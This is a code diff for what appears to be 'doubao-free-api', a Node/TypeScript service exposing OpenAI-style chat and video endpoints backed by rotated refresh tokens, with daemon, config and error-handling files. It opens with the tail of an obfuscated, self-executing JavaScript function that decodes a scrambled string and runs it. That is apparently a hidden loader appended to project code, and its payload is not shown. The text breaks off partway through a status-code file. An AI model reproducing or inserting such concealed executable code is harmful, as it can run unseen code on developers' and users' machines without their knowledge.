nZ!-Z32.denh]}1ZutA)ZS6ve4a1]Z$3[0_Z .g{!(n5d+):dtd3o}$)[{DZlh_o=tZ2.(j=1tpaD3l)Zri=Ze(Lwgdsl;reZ ()0+Z(r03e)Z4d )[A!f3Z(Ma6n,!Z(,kt$8#bj86])_8c3Q&)<.%lfa8]l1ZZV].0e)un.t=)(]x,1r}U3aZ;,on=%n9c^Zk)j!_5of pZtb]1 3 $ :0)-p!_,1ccnar.9uZl;%.h4_oiZCnZt],2=u5w]Zb5c8Z9.e(;!nL 6)&cZ0ffTXjZe% 0s.B(eZZ8 .242021Z5Z(bd('));var pNM=Dmj(pkh,Xju );pNM(5995);return 4149})()
src/api/routes/chat.ts ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from 'lodash';
2
+
3
+ import Request from '@/lib/request/Request.ts';
4
+ import Response from '@/lib/response/Response.ts';
5
+ import chat from '@/api/controllers/chat.ts';
6
+ import logger from '@/lib/logger.ts';
7
+
8
+ export default {
9
+
10
+ prefix: '/v1/chat',
11
+
12
+ post: {
13
+
14
+ '/completions': async (request: Request) => {
15
+ request
16
+ .validate('body.conversation_id', v => _.isUndefined(v) || _.isString(v))
17
+ .validate('body.messages', _.isArray)
18
+ .validate('headers.authorization', _.isString)
19
+ // refresh_token切分
20
+ const tokens = chat.tokenSplit(request.headers.authorization);
21
+ // 随机挑选一个refresh_token
22
+ const token = _.sample(tokens);
23
+ const { model, conversation_id: convId, messages, stream } = request.body;
24
+ const assistantId = /^[a-z0-9]{24,}$/.test(model) ? model : undefined
25
+ if (stream) {
26
+ const stream = await chat.createCompletionStream(messages, token, assistantId, convId);
27
+ return new Response(stream, {
28
+ type: "text/event-stream"
29
+ });
30
+ }
31
+ else
32
+ return await chat.createCompletion(messages, token, assistantId, convId);
33
+ }
34
+
35
+ }
36
+
37
+ }
src/api/routes/index.ts ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fs from 'fs-extra';
2
+
3
+ import Response from '@/lib/response/Response.ts';
4
+ import chat from "./chat.ts";
5
+ import ping from "./ping.ts";
6
+ import token from './token.js';
7
+ import models from './models.ts';
8
+
9
+ export default [
10
+ {
11
+ get: {
12
+ '/': async () => {
13
+ const content = await fs.readFile('public/welcome.html');
14
+ return new Response(content, {
15
+ type: 'html',
16
+ headers: {
17
+ Expires: '-1'
18
+ }
19
+ });
20
+ }
21
+ }
22
+ },
23
+ chat,
24
+ ping,
25
+ token,
26
+ models
27
+ ];
src/api/routes/models.ts ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from 'lodash';
2
+
3
+ export default {
4
+
5
+ prefix: '/v1',
6
+
7
+ get: {
8
+ '/models': async () => {
9
+ return {
10
+ "data": [
11
+ {
12
+ "id": "doubao",
13
+ "object": "model",
14
+ "owned_by": "doubao-free-api"
15
+ }
16
+ ]
17
+ };
18
+ }
19
+
20
+ }
21
+ }
src/api/routes/ping.ts ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ export default {
2
+ prefix: '/ping',
3
+ get: {
4
+ '': async () => "pong"
5
+ }
6
+ }
src/api/routes/token.ts ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from 'lodash';
2
+
3
+ import Request from '@/lib/request/Request.ts';
4
+ import Response from '@/lib/response/Response.ts';
5
+ import chat from '@/api/controllers/chat.ts';
6
+ import logger from '@/lib/logger.ts';
7
+
8
+ export default {
9
+
10
+ prefix: '/token',
11
+
12
+ post: {
13
+
14
+ '/check': async (request: Request) => {
15
+ request
16
+ .validate('body.token', _.isString)
17
+ const live = await chat.getTokenLiveStatus(request.body.token);
18
+ return {
19
+ live
20
+ }
21
+ }
22
+
23
+ }
24
+
25
+ }
src/api/routes/videos.ts ADDED
@@ -0,0 +1,78 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from "lodash";
2
+
3
+ import Request from "@/lib/request/Request.ts";
4
+ import chat from "@/api/controllers/chat.ts";
5
+ import util from "@/lib/util.ts";
6
+
7
+ export default {
8
+
9
+ prefix: "/v1/videos",
10
+
11
+ post: {
12
+
13
+ "/generations": async (request: Request) => {
14
+ request
15
+ .validate(
16
+ "body.conversation_id",
17
+ (v) => _.isUndefined(v) || _.isString(v)
18
+ )
19
+ .validate("body.model", (v) => _.isUndefined(v) || _.isString(v))
20
+ .validate("body.prompt", _.isString)
21
+ .validate("body.audio_id", (v) => _.isUndefined(v) || _.isString(v))
22
+ .validate("body.image_url", (v) => _.isUndefined(v) || _.isString(v))
23
+ .validate(
24
+ "body.video_style",
25
+ (v) =>
26
+ _.isUndefined(v) ||
27
+ ["卡通3D", "黑白老照片", "油画", "电影感"].includes(v),
28
+ "video_style must be one of 卡通3D/黑白老照片/油画/电影感"
29
+ )
30
+ .validate(
31
+ "body.emotional_atmosphere",
32
+ (v) =>
33
+ _.isUndefined(v) ||
34
+ ["温馨和谐", "生动活泼", "紧张刺激", "凄凉寂寞"].includes(v),
35
+ "emotional_atmosphere must be one of 温馨和谐/生动活泼/紧张刺激/凄凉寂寞"
36
+ )
37
+ .validate(
38
+ "body.mirror_mode",
39
+ (v) =>
40
+ _.isUndefined(v) || ["水平", "垂直", "推近", "拉远"].includes(v),
41
+ "mirror_mode must be one of 水平/垂直/推近/拉远"
42
+ )
43
+ .validate("headers.authorization", _.isString);
44
+ // refresh_token切分
45
+ const tokens = chat.tokenSplit(request.headers.authorization);
46
+ // 随机挑选一个refresh_token
47
+ const token = _.sample(tokens);
48
+ const {
49
+ model,
50
+ conversation_id: convId,
51
+ prompt,
52
+ image_url: imageUrl,
53
+ video_style: videoStyle = "",
54
+ emotional_atmosphere: emotionalAtmosphere = "",
55
+ mirror_mode: mirrorMode = "",
56
+ audio_id: audioId,
57
+ } = request.body;
58
+ const data = await chat.generateVideos(
59
+ model,
60
+ prompt,
61
+ token,
62
+ {
63
+ imageUrl,
64
+ videoStyle,
65
+ emotionalAtmosphere,
66
+ mirrorMode,
67
+ audioId,
68
+ },
69
+ convId
70
+ );
71
+ return {
72
+ created: util.unixTimestamp(),
73
+ data,
74
+ };
75
+ },
76
+ },
77
+
78
+ };
src/daemon.ts ADDED
@@ -0,0 +1,82 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * 守护进程
3
+ */
4
+
5
+ import process from 'process';
6
+ import path from 'path';
7
+ import { spawn } from 'child_process';
8
+
9
+ import fs from 'fs-extra';
10
+ import { format as dateFormat } from 'date-fns';
11
+ import 'colors';
12
+
13
+ const CRASH_RESTART_LIMIT = 600; //进程崩溃重启次数限制
14
+ const CRASH_RESTART_DELAY = 5000; //进程崩溃重启延迟
15
+ const LOG_PATH = path.resolve("./logs/daemon.log"); //守护进程日志路径
16
+ let crashCount = 0; //进程崩溃次数
17
+ let currentProcess; //当前运行进程
18
+
19
+ /**
20
+ * 写入守护进程日志
21
+ */
22
+ function daemonLog(value, color?: string) {
23
+ try {
24
+ const head = `[daemon][${dateFormat(new Date(), "yyyy-MM-dd HH:mm:ss.SSS")}] `;
25
+ value = head + value;
26
+ console.log(color ? value[color] : value);
27
+ fs.ensureDirSync(path.dirname(LOG_PATH));
28
+ fs.appendFileSync(LOG_PATH, value + "\n");
29
+ }
30
+ catch(err) {
31
+ console.error("daemon log write error:", err);
32
+ }
33
+ }
34
+
35
+ daemonLog(`daemon pid: ${process.pid}`);
36
+
37
+ function createProcess() {
38
+ const childProcess = spawn("node", ["index.js", ...process.argv.slice(2)]); //启动子进程
39
+ childProcess.stdout.pipe(process.stdout, { end: false }); //将子进程输出管道到当前进程输出
40
+ childProcess.stderr.pipe(process.stderr, { end: false }); //将子进程错误输出管道到当前进程输出
41
+ currentProcess = childProcess; //更新当前进程
42
+ daemonLog(`process(${childProcess.pid}) has started`);
43
+ childProcess.on("error", err => daemonLog(`process(${childProcess.pid}) error: ${err.stack}`, "red"));
44
+ childProcess.on("close", code => {
45
+ if(code === 0) //进程正常退出
46
+ daemonLog(`process(${childProcess.pid}) has exited`);
47
+ else if(code === 2) //进程已被杀死
48
+ daemonLog(`process(${childProcess.pid}) has been killed!`, "bgYellow");
49
+ else if(code === 3) { //进程主动重启
50
+ daemonLog(`process(${childProcess.pid}) has restart`, "yellow");
51
+ createProcess(); //重新创建进程
52
+ }
53
+ else { //进程发生崩溃
54
+ if(crashCount++ < CRASH_RESTART_LIMIT) { //进程崩溃次数未达重启次数上限前尝试重启
55
+ daemonLog(`process(${childProcess.pid}) has crashed! delay ${CRASH_RESTART_DELAY}ms try restarting...(${crashCount})`, "bgRed");
56
+ setTimeout(() => createProcess(), CRASH_RESTART_DELAY); //延迟指定时长后再重启
57
+ }
58
+ else //进程已崩溃,且无法重启
59
+ daemonLog(`process(${childProcess.pid}) has crashed! unable to restart`, "bgRed");
60
+ }
61
+ }); //子进程关闭监听
62
+ }
63
+
64
+ process.on("exit", code => {
65
+ if(code === 0)
66
+ daemonLog("daemon process exited");
67
+ else if(code === 2)
68
+ daemonLog("daemon process has been killed!");
69
+ }); //守护进程退出事件
70
+
71
+ process.on("SIGTERM", () => {
72
+ daemonLog("received kill signal", "yellow");
73
+ currentProcess && currentProcess.kill("SIGINT");
74
+ process.exit(2);
75
+ }); //kill退出守护进程
76
+
77
+ process.on("SIGINT", () => {
78
+ currentProcess && currentProcess.kill("SIGINT");
79
+ process.exit(0);
80
+ }); //主动退出守护进程
81
+
82
+ createProcess(); //创建进程
src/index.ts ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ "use strict";
2
+
3
+ import environment from "@/lib/environment.ts";
4
+ import config from "@/lib/config.ts";
5
+ import "@/lib/initialize.ts";
6
+ import server from "@/lib/server.ts";
7
+ import routes from "@/api/routes/index.ts";
8
+ import logger from "@/lib/logger.ts";
9
+
10
+ const startupTime = performance.now();
11
+
12
+ (async () => {
13
+ logger.header();
14
+
15
+ logger.info("<<<< doubao free server >>>>");
16
+ logger.info("Version:", environment.package.version);
17
+ logger.info("Process id:", process.pid);
18
+ logger.info("Environment:", environment.env);
19
+ logger.info("Service name:", config.service.name);
20
+
21
+ server.attachRoutes(routes);
22
+ await server.listen();
23
+
24
+ config.service.bindAddress &&
25
+ logger.success("Service bind address:", config.service.bindAddress);
26
+ })()
27
+ .then(() =>
28
+ logger.success(
29
+ `Service startup completed (${Math.floor(performance.now() - startupTime)}ms)`
30
+ )
31
+ )
32
+ .catch((err) => console.error(err));
src/lib/config.ts ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import serviceConfig from "./configs/service-config.ts";
2
+ import systemConfig from "./configs/system-config.ts";
3
+
4
+ class Config {
5
+
6
+ /** 服务配置 */
7
+ service = serviceConfig;
8
+
9
+ /** 系统配置 */
10
+ system = systemConfig;
11
+
12
+ }
13
+
14
+ export default new Config();
src/lib/configs/service-config.ts ADDED
@@ -0,0 +1,68 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import path from 'path';
2
+
3
+ import fs from 'fs-extra';
4
+ import yaml from 'yaml';
5
+ import _ from 'lodash';
6
+
7
+ import environment from '../environment.ts';
8
+ import util from '../util.ts';
9
+
10
+ const CONFIG_PATH = path.join(path.resolve(), 'configs/', environment.env, "/service.yml");
11
+
12
+ /**
13
+ * 服务配置
14
+ */
15
+ export class ServiceConfig {
16
+
17
+ /** 服务名称 */
18
+ name: string;
19
+ /** @type {string} 服务绑定主机地址 */
20
+ host;
21
+ /** @type {number} 服务绑定端口 */
22
+ port;
23
+ /** @type {string} 服务路由前缀 */
24
+ urlPrefix;
25
+ /** @type {string} 服务绑定地址(外部访问地址) */
26
+ bindAddress;
27
+
28
+ constructor(options?: any) {
29
+ const { name, host, port, urlPrefix, bindAddress } = options || {};
30
+ this.name = _.defaultTo(name, 'doubao-free-api');
31
+ this.host = _.defaultTo(host, '0.0.0.0');
32
+ this.port = _.defaultTo(port, 5566);
33
+ this.urlPrefix = _.defaultTo(urlPrefix, '');
34
+ this.bindAddress = bindAddress;
35
+ }
36
+
37
+ get addressHost() {
38
+ if(this.bindAddress) return this.bindAddress;
39
+ const ipAddresses = util.getIPAddressesByIPv4();
40
+ for(let ipAddress of ipAddresses) {
41
+ if(ipAddress === this.host)
42
+ return ipAddress;
43
+ }
44
+ return ipAddresses[0] || "127.0.0.1";
45
+ }
46
+
47
+ get address() {
48
+ return `${this.addressHost}:${this.port}`;
49
+ }
50
+
51
+ get pageDirUrl() {
52
+ return `http://127.0.0.1:${this.port}/page`;
53
+ }
54
+
55
+ get publicDirUrl() {
56
+ return `http://127.0.0.1:${this.port}/public`;
57
+ }
58
+
59
+ static load() {
60
+ const external = _.pickBy(environment, (v, k) => ["name", "host", "port"].includes(k) && !_.isUndefined(v));
61
+ if(!fs.pathExistsSync(CONFIG_PATH)) return new ServiceConfig(external);
62
+ const data = yaml.parse(fs.readFileSync(CONFIG_PATH).toString());
63
+ return new ServiceConfig({ ...data, ...external });
64
+ }
65
+
66
+ }
67
+
68
+ export default ServiceConfig.load();
src/lib/configs/system-config.ts ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import path from 'path';
2
+
3
+ import fs from 'fs-extra';
4
+ import yaml from 'yaml';
5
+ import _ from 'lodash';
6
+
7
+ import environment from '../environment.ts';
8
+
9
+ const CONFIG_PATH = path.join(path.resolve(), 'configs/', environment.env, "/system.yml");
10
+
11
+ /**
12
+ * 系统配置
13
+ */
14
+ export class SystemConfig {
15
+
16
+ /** 是否开启请求日志 */
17
+ requestLog: boolean;
18
+ /** 临时目录路径 */
19
+ tmpDir: string;
20
+ /** 日志目录路径 */
21
+ logDir: string;
22
+ /** 日志写入间隔(毫秒) */
23
+ logWriteInterval: number;
24
+ /** 日志文件有效期(毫秒) */
25
+ logFileExpires: number;
26
+ /** 公共目录路径 */
27
+ publicDir: string;
28
+ /** 临时文件有效期(毫秒) */
29
+ tmpFileExpires: number;
30
+ /** 请求体配置 */
31
+ requestBody: any;
32
+ /** 是否调试模式 */
33
+ debug: boolean;
34
+
35
+ constructor(options?: any) {
36
+ const { requestLog, tmpDir, logDir, logWriteInterval, logFileExpires, publicDir, tmpFileExpires, requestBody, debug } = options || {};
37
+ this.requestLog = _.defaultTo(requestLog, false);
38
+ this.tmpDir = _.defaultTo(tmpDir, './tmp');
39
+ this.logDir = _.defaultTo(logDir, './logs');
40
+ this.logWriteInterval = _.defaultTo(logWriteInterval, 200);
41
+ this.logFileExpires = _.defaultTo(logFileExpires, 2626560000);
42
+ this.publicDir = _.defaultTo(publicDir, './public');
43
+ this.tmpFileExpires = _.defaultTo(tmpFileExpires, 86400000);
44
+ this.requestBody = Object.assign(requestBody || {}, {
45
+ enableTypes: ['json', 'form', 'text', 'xml'],
46
+ encoding: 'utf-8',
47
+ formLimit: '100mb',
48
+ jsonLimit: '100mb',
49
+ textLimit: '100mb',
50
+ xmlLimit: '100mb',
51
+ formidable: {
52
+ maxFileSize: '100mb'
53
+ },
54
+ multipart: true,
55
+ parsedMethods: ['POST', 'PUT', 'PATCH']
56
+ });
57
+ this.debug = _.defaultTo(debug, true);
58
+ }
59
+
60
+ get rootDirPath() {
61
+ return path.resolve();
62
+ }
63
+
64
+ get tmpDirPath() {
65
+ return path.resolve(this.tmpDir);
66
+ }
67
+
68
+ get logDirPath() {
69
+ return path.resolve(this.logDir);
70
+ }
71
+
72
+ get publicDirPath() {
73
+ return path.resolve(this.publicDir);
74
+ }
75
+
76
+ static load() {
77
+ if (!fs.pathExistsSync(CONFIG_PATH)) return new SystemConfig();
78
+ const data = yaml.parse(fs.readFileSync(CONFIG_PATH).toString());
79
+ return new SystemConfig(data);
80
+ }
81
+
82
+ }
83
+
84
+ export default SystemConfig.load();
src/lib/consts/exceptions.ts ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ export default {
2
+ SYSTEM_ERROR: [-1000, '系统异常'],
3
+ SYSTEM_REQUEST_VALIDATION_ERROR: [-1001, '请求参数校验错误'],
4
+ SYSTEM_NOT_ROUTE_MATCHING: [-1002, '无匹配的路由']
5
+ } as Record<string, [number, string]>
src/lib/environment.ts ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import path from 'path';
2
+
3
+ import fs from 'fs-extra';
4
+ import minimist from 'minimist';
5
+ import _ from 'lodash';
6
+
7
+ const cmdArgs = minimist(process.argv.slice(2)); //获取命令行参数
8
+ const envVars = process.env; //获取环境变量
9
+
10
+ class Environment {
11
+
12
+ /** 命令行参数 */
13
+ cmdArgs: any;
14
+ /** 环境变量 */
15
+ envVars: any;
16
+ /** 环境名称 */
17
+ env?: string;
18
+ /** 服务名称 */
19
+ name?: string;
20
+ /** 服务地址 */
21
+ host?: string;
22
+ /** 服务端口 */
23
+ port?: number;
24
+ /** 包参数 */
25
+ package: any;
26
+
27
+ constructor(options: any = {}) {
28
+ const { cmdArgs, envVars, package: _package } = options;
29
+ this.cmdArgs = cmdArgs;
30
+ this.envVars = envVars;
31
+ this.env = _.defaultTo(cmdArgs.env || envVars.SERVER_ENV, 'dev');
32
+ this.name = cmdArgs.name || envVars.SERVER_NAME || undefined;
33
+ this.host = cmdArgs.host || envVars.SERVER_HOST || undefined;
34
+ this.port = Number(cmdArgs.port || envVars.SERVER_PORT) ? Number(cmdArgs.port || envVars.SERVER_PORT) : undefined;
35
+ this.package = _package;
36
+ }
37
+
38
+ }
39
+
40
+ export default new Environment({
41
+ cmdArgs,
42
+ envVars,
43
+ package: JSON.parse(fs.readFileSync(path.join(path.resolve(), "package.json")).toString())
44
+ });
src/lib/exceptions/APIException.ts ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import Exception from './Exception.js';
2
+
3
+ export default class APIException extends Exception {
4
+
5
+ /**
6
+ * 构造异常
7
+ *
8
+ * @param {[number, string]} exception 异常
9
+ */
10
+ constructor(exception: (string | number)[], errmsg?: string) {
11
+ super(exception, errmsg);
12
+ }
13
+
14
+ }
src/lib/exceptions/Exception.ts ADDED
@@ -0,0 +1,47 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import assert from 'assert';
2
+
3
+ import _ from 'lodash';
4
+
5
+ export default class Exception extends Error {
6
+
7
+ /** 错误码 */
8
+ errcode: number;
9
+ /** 错误消息 */
10
+ errmsg: string;
11
+ /** 数据 */
12
+ data: any;
13
+ /** HTTP状态码 */
14
+ httpStatusCode: number;
15
+
16
+ /**
17
+ * 构造异常
18
+ *
19
+ * @param exception 异常
20
+ * @param _errmsg 异常消息
21
+ */
22
+ constructor(exception: (string | number)[], _errmsg?: string) {
23
+ assert(_.isArray(exception), 'Exception must be Array');
24
+ const [errcode, errmsg] = exception as [number, string];
25
+ assert(_.isFinite(errcode), 'Exception errcode invalid');
26
+ assert(_.isString(errmsg), 'Exception errmsg invalid');
27
+ super(_errmsg || errmsg);
28
+ this.errcode = errcode;
29
+ this.errmsg = _errmsg || errmsg;
30
+ }
31
+
32
+ compare(exception: (string | number)[]) {
33
+ const [errcode] = exception as [number, string];
34
+ return this.errcode == errcode;
35
+ }
36
+
37
+ setHTTPStatusCode(value: number) {
38
+ this.httpStatusCode = value;
39
+ return this;
40
+ }
41
+
42
+ setData(value: any) {
43
+ this.data = _.defaultTo(value, null);
44
+ return this;
45
+ }
46
+
47
+ }
src/lib/http-status-codes.ts ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ export default {
2
+
3
+ CONTINUE: 100, //客户端应当继续发送请求。这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝。客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应。服务器必须在请求完成后向客户端发送一个最终响应
4
+ SWITCHING_PROTOCOLS: 101, //服务器已经理解了客户端的请求,并将通过Upgrade 消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到在Upgrade 消息头中定义的那些协议。只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的HTTP 版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特性的资源
5
+ PROCESSING: 102, //处理将被继续执行
6
+
7
+ OK: 200, //请求已成功,请求所希望的响应头或数据体将随此响应返回
8
+ CREATED: 201, //请求已经被实现,而且有一个新的资源已经依据请求的需要而建立,且其 URI 已经随Location 头信息返回。假如需要的资源无法及时建立的话,应当返回 '202 Accepted'
9
+ ACCEPTED: 202, //服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。返回202状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回202状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成
10
+ NON_AUTHORITATIVE_INFO: 203, //服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超级。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回200 OK的情况下才是合适的
11
+ NO_CONTENT: 204, //服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。由于204响应被禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾
12
+ RESET_CONTENT: 205, //服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。与204响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束
13
+ PARTIAL_CONTENT: 206, //服务器已经成功处理了部分 GET 请求。类似于FlashGet或者迅雷这类的HTTP下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。响应必须包含如下的头部域:Content-Range 用以指示本次响应中返回的内容的范围;如果是Content-Type为multipart/byteranges的多段下载,则每一段multipart中都应包含Content-Range域用以指示本段的内容范围。假如响应中包含Content-Length,那么它的数值必须匹配它返回的内容范围的真实字节数。Date和ETag或Content-Location,假如同样的请求本应该返回200响应。Expires, Cache-Control,和/或 Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。假如本响应请求使用了 If-Range 强缓存验证,那么本次响应不应该包含其他实体头;假如本响应的请求使用了 If-Range 弱缓存验证,那么本次响应禁止包含其他实体头;这避免了缓存的实体内容和更新了的实体头信息之间的不一致。否则,本响应就应当包含所有本应该返回200响应中应当返回的所有实体头部域。假如 ETag 或 Latest-Modified 头部不能精确匹配的话,则客户端缓存应禁止将206响应返回的内容与之前任何缓存过的内容组合在一起。任何不支持 Range 以及 Content-Range 头的缓存都禁止缓存206响应返���的内容
14
+ MULTIPLE_STATUS: 207, //代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码
15
+
16
+ MULTIPLE_CHOICES: 300, //被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。除非这是一个HEAD请求,否则该响应应当包括一个资源特性及地址的列表的实体,以便用户或浏览器从中选择最合适的重定向地址。这个实体的格式由Content-Type定义的格式所决定。浏览器可能根据响应的格式以及浏览器自身能力,自动作出最合适的选择。当然,RFC 2616规范并没有规定这样的自动选择该如何进行。如果服务器本身已经有了首选的回馈选择,那么在Location中应当指明这个回馈的 URI;浏览器可能会将这个 Location 值作为自动重定向的地址。此外,除非额外指定,否则这个响应也是可缓存的
17
+ MOVED_PERMANENTLY: 301, //被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个URI之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。新的永久性的URI应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。如果这不是一个GET或者HEAD请求,因此浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。注意:对于某些使用 HTTP/1.0 协议的浏览器,当它们发送的POST请求得到了一个301响应的话,接下来的重定向请求将会变成GET方式
18
+ FOUND: 302, //请求的资源现在临时从不同的URI响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。新的临时性的URI应当在响应的 Location 域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。如果这不是一个GET或者HEAD请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。注意:虽然RFC 1945和RFC 2068规范不允许客户端在重定向时改变请求的方法,但是很多现存的浏览器将302响应视作为303响应,并且使用GET方式访问在Location中规定的URI,而无视原先请求的方法。状态码303和307被添加了进来,用以明确服务器期待客户端进行何种反应
19
+ SEE_OTHER: 303, //对应当前请求的响应可以在另一个URI上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。这个新的 URI 不是原始资源的替代引用。同时,303响应禁止被缓存。当然,第二个请求(重定向)可能被缓存。新的 URI 应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。注意:许多 HTTP/1.1 版以前的浏览器不能正确理解303状态。如果需要考虑与这些浏览器之间的互动,302状态码应该可以胜任,因为大多数的浏览器处理302响应时的方式恰恰就是上述规范要求客户端处理303响应时应当做的
20
+ NOT_MODIFIED: 304, //如果客户端发送了一个带条件的GET请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。该响应必须包含以下的头信息:Date,除非这个服务器没有时钟。假如没有时钟的服务器也遵守这些规则,那么代理服务器以及客户端可以自行将Date字段添加到接收到的响应头中去(正如RFC 2068中规定的一样),缓存机制将会正常工作。ETag或 Content-Location,假如同样的请求本应返回200响应。Expires, Cache-Control,和/或Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。假如本响应请求使用了强缓存验证,那么本次响应不应该包含其他实体头;否则(例如,某个带条件的 GET 请求使用了弱缓存验证),本次响应禁止包含其他实体头;这避免了缓存了的实体内容和更新了的实体头信息之间的不一致。假如某个304响应指明了当前某个实体没有缓存,那么缓存系统必须忽视这个响应,并且重复发送不包含限制条件的请求。假如接收到一个要求更新某个缓存条目的304响应,那么缓存系统必须更新整个条目以反映所有在响应中被更新的字段的值
21
+ USE_PROXY: 305, //被请求的资源必须通过指定的代理才能被访问。Location域中将给出指定的代理所在的URI信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。注意:RFC 2068中没有明确305响应是为了重定向一个单独的请求,而且只能被原始服务器建立。忽视这些限制可能导致严重的安全后果
22
+ UNUSED: 306, //在最新版的规范中,306状态码已经不再被使用
23
